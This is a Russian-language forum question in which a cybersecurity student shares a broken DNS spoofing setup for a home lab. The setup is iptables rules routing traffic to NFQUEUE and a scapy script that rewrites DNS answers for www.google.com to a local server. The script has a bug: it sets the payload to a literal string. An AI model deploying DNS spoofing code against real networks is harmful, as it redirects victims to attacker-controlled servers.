scapy и netfilterqueue dns spoof не работает - PullRequest
0 голосов
/ 16 марта 2020

Я прошел курс по кибербезопасности и сейчас пытаюсь заставить работать DNS-спуфер. Идея состоит в том, что каждый раз, когда цель (этот же компьютер) пытается go до www.google.com, она вместо этого отправляется на сервер apache. Но единственное, что он делает, это не подключается к Google. Достаточно сказать, что у меня мало опыта.

Я начинаю с:

iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0

Затем на Python 3.7

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if b'www.google.com' in qname:
            answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            packet.set_payload(b'scapy_packet')
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Я использую сеть NAT и 10.0.2.5 - мой apache сервер.

...